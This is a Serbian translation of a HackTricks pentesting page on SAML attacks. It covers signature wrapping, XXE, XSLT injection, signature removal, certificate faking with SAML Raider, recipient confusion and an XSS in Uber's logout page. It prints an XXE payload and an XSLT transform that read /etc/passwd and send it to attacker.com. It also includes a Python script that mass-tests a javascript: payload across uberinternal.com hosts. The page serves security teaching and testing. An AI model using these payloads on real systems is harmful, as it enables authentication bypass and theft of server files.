hacktricks/pentesting-web/saml-attacks
2024-04-07 04:23:52 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00
saml-basics.md Translated to Serbian 2024-02-10 13:11:20 +00:00

Napadi na SAML

Napadi na SAML

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Alat

SAMLExtractor: Alat koji može uzeti URL ili listu URL-ova i vratiti SAML konzumirajući URL.

XML ciklus

U XML-u, potpisani deo XML-a se čuva u memoriji, zatim se vrši neko kodiranje/dekodiranje i proverava se potpis. Idealno, to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali na osnovu tog scenarija, podaci koji se proveravaju i originalni podaci ne moraju biti isti.

Na primer, pogledajte sledeći kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Pokretanje programa protiv REXML 3.2.4 ili ranije rezultiralo bi sledećim izlazom umesto toga:

First child in original doc: Y
First child after round-trip: Z

Ovako je REXML video originalni XML dokument iz programa iznad:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

A ovako ga je video nakon jedne runde parsiranja i serijalizacije:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Za više informacija o ranjivosti i kako je iskoristiti:

Napadi na Omotavanje XML Potpisa

U napadima na Omotavanje XML potpisa (XSW), napadači iskorišćavaju ranjivost koja se javlja kada se XML dokumenti obrađuju kroz dve različite faze: provera potpisa i poziv funkcije. Ovi napadi uključuju izmenu strukture XML dokumenta. Konkretno, napadač ubacuje lažirane elemente koji ne ugrožavaju validnost XML potpisa. Ova manipulacija ima za cilj stvaranje neslaganja između elemenata analiziranih od strane aplikacione logike i onih proverenih od strane modula za proveru potpisa. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje lažne elemente. Stoga, napadač efikasno zaobilazi zaštitu integriteta i autentikaciju porekla XML potpisa, omogućavajući ubacivanje proizvoljnog sadržaja bez otkrivanja.

Navedeni napadi su zasnovani na ovom blog postu i ovom radu. Stoga proverite ih za dodatne detalje.

XSW #1

  • Strategija: Dodaje se novi koreni element koji sadrži potpis.
  • Posledica: Proveravač može biti zbunjen između legitimnog "Odgovor -> Tvrdnja -> Subjekt" i napadačevog "zli novi Odgovor -> Tvrdnja -> Subjekt", što dovodi do problema sa integritetom podataka.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Razlika u odnosu na XSW #1: Koristi odvojeni potpis umesto omotanog potpisa.
  • Posledica: "Zla" struktura, slično kao kod XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategija: Pravi se zla Tvrdnja na istom hijerarhijskom nivou kao originalna tvrdnja.
  • Posledica: Cilj je zbuniti poslovnu logiku da koristi zlonamerni podatak.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Razlika u odnosu na XSW #3: Originalna Tvrdnja postaje dete duplicirane (zle) Tvrdnje.
  • Posledica: Slično kao kod XSW #3, ali agresivnije menja strukturu XML-a.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Jedinstveni Aspekt: Ni Potpis ni originalna Tvrdnja ne prate standardne konfiguracije (omotani/omotavajući/odvojeni).
  • Posledica: Kopirana Tvrdnja omotava Potpis, menjajući očekivanu strukturu dokumenta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategija: Slično kao kod XSW #4 i #5, ali sa preokretom.
  • Posledica: Kopirana Tvrdnja omotava Potpis, koji zatim omotava originalnu Tvrdnju, stvarajući ugnježđenu obmanjujuću strukturu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategija: Umetanje elementa Proširenja sa kopiranom Tvrdnjom kao dete.
  • Posledica: Ovo iskorišćava manje restriktivnu šemu elementa Proširenja kako bi zaobišlo protivmere validacije šeme, posebno u bibliotekama poput OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Razlika u odnosu na XSW #7: Koristi drugi manje restriktivan XML element za varijantu napada.
  • Posledica: Originalna Tvrdnja postaje dete manje restriktivnog elementa, menjajući strukturu korištenu u XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Alat

Možete koristiti Burp ekstenziju SAML Raider da parsira zahtev, primeni bilo koji XSW napad koji odaberete i pokrene ga.

XXE

Ako ne znate kakvi su napadi XXE, molimo pročitajte sledeću stranicu:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML odgovori su deflacioni i base64 enkodirani XML dokumenti i mogu biti podložni napadima XML spoljnih entiteta (XXE). Manipulacijom XML strukture SAML odgovora, napadači mogu pokušati iskoristiti XXE ranjivosti. Evo kako takav napad može biti vizualizovan:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Alati

Takođe možete koristiti Burp ekstenziju SAML Raider da generiše POC iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.

Pogledajte i ovaj video: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT putem SAML-a

Za više informacija o XSLT idi na:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Ekstenzibilni jezik transformacije stilova (XSLT) može se koristiti za transformisanje XML dokumenata u različite formate poput HTML-a, JSON-a ili PDF-a. Važno je napomenuti da se XSLT transformacije vrše pre provere digitalnog potpisa. Ovo znači da napad može biti uspešan čak i bez validnog potpisa; dovoljan je samopotpisani ili nevažeći potpis da se nastavi.

Ovde možete pronaći POC da proverite ovu vrstu ranjivosti, na hacktricks stranici pomenutoj na početku ove sekcije možete pronaći zahteve.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Alat

Takođe možete koristiti Burp ekstenziju SAML Raider za generisanje POC-a iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.

Pogledajte i ovaj video: https://www.youtube.com/watch?v=WHn-6xHL7mI

Isključenje XML Potpisa

Isključenje XML Potpisa posmatra ponašanje SAML implementacija kada Element potpisa nije prisutan. Ako ovaj element nedostaje, validacija potpisa možda se neće desiti, čime postaje ranjiv. Moguće je testirati ovo izmenom sadržaja koji se obično proverava potpisom.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Alat

Takođe možete koristiti Burp ekstenziju SAML Raider. Presretnite SAML odgovor i kliknite Remove Signatures. Time se uklanjaju svi Elementi potpisa.

Nakon uklanjanja potpisa, dozvolite zahtevu da nastavi ka cilju. Ako Potpis nije potreban od strane Servisa

Falsifikovanje Sertifikata

Falsifikovanje sertifikata je tehnika za testiranje da li Servis Provajder (SP) pravilno proverava da li je SAML Poruka potpisana od strane pouzdanog Identity Provajdera (IdP). Uključuje korišćenje *samopotpisanog sertifikata za potpisivanje SAML Odgovora ili Izjave, što pomaže u proceni procesa validacije poverenja između SP-a i IdP-a.

Kako sprovesti Falsifikovanje Sertifikata

Sledeći koraci opisuju proces korišćenja SAML Raider Burp ekstenzije:

  1. Presretnite SAML Odgovor.
  2. Ako odgovor sadrži potpis, pošaljite sertifikat SAML Raider Certs koristeći dugme Send Certificate to SAML Raider Certs.
  3. U kartici SAML Raider Certificates, izaberite uvezeni sertifikat i kliknite Save and Self-Sign kako biste kreirali samopotpisani klon originalnog sertifikata.
  4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-u. Izaberite novi samopotpisani sertifikat iz padajuće liste XML Potpisa.
  5. Uklonite sve postojeće potpise koristeći dugme Remove Signatures.
  6. Potpišite poruku ili izjavu novim sertifikatom koristeći dugme (Re-)Sign Message ili (Re-)Sign Assertion, kako je prikladno.
  7. Prosledite potpisanu poruku. Uspešna autentikacija ukazuje na to da SP prihvata poruke potpisane vašim samopotpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu validacije SAML poruka.

Konfuzija Primaoca Tokena / Konfuzija Cilja Servis Provajdera

Konfuzija Primaoca Tokena i Konfuzija Cilja Servis Provajdera uključuju proveru da li Servis Provajder pravilno validira namenjenog primaoca odgovora. U osnovi, Servis Provajder treba da odbije autentikacioni odgovor ako je bio namenjen drugom provajderu. Ključni element ovde je polje Primalac, koje se nalazi unutar elementa SubjectConfirmationData u SAML Odgovoru. Ovo polje specificira URL koji ukazuje gde Izjava mora biti poslata. Ako stvarni primalac ne odgovara namenjenom Servis Provajderu, Izjava bi trebalo da bude proglašena nevažećom.

Kako funkcioniše

Da bi SAML Konfuzija Primaoca Tokena (SAML-TRC) napad bio izvodljiv, moraju biti ispunjeni određeni uslovi. Prvo, mora postojati validan nalog na Servis Provajderu (označen kao SP-Legit). Drugo, ciljani Servis Provajder (SP-Cilj) mora prihvatiti tokene od istog Identity Provajdera koji služi SP-Legit.

Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem deljenog Identity Provajdera. SAML Odgovor od Identity Provajdera ka SP-Legit je presretnut. Ovaj presretnuti SAML Odgovor, prvobitno namenjen za SP-Legit, zatim se preusmerava ka SP-Cilj. Uspeh u ovom napadu se meri time što SP-Cilj prihvata Izjavu, omogućavajući pristup resursima pod istim korisničkim imenom koje se koristi za SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS u funkcionalnosti odjave

Originalna istraživanja mogu se pristupiti putem ovog linka.

Tokom procesa grubog pretraživanja direktorijuma, otkrivena je stranica za odjavljivanje na:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Prilikom pristupa ovom linku, došlo je do preusmeravanja na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Ovo je otkrilo da parametar base prihvata URL. Razmatrajući to, pojavila se ideja da se URL zameni sa javascript:alert(123); u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.

Masovna eksploatacija

Iz ovog istraživanja:

Alatka SAMLExtractor je korišćena za analizu poddomena uberinternal.com za domene koje koriste istu biblioteku. Zatim je razvijen skript koji cilja stranicu oidauth/prompt. Ovaj skript testira XSS (Cross-Site Scripting) unošenjem podataka i proverom da li se ti podaci odražavaju u izlazu. U slučajevima gde se ulaz zaista odražava, skript označava stranicu kao ranjivu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: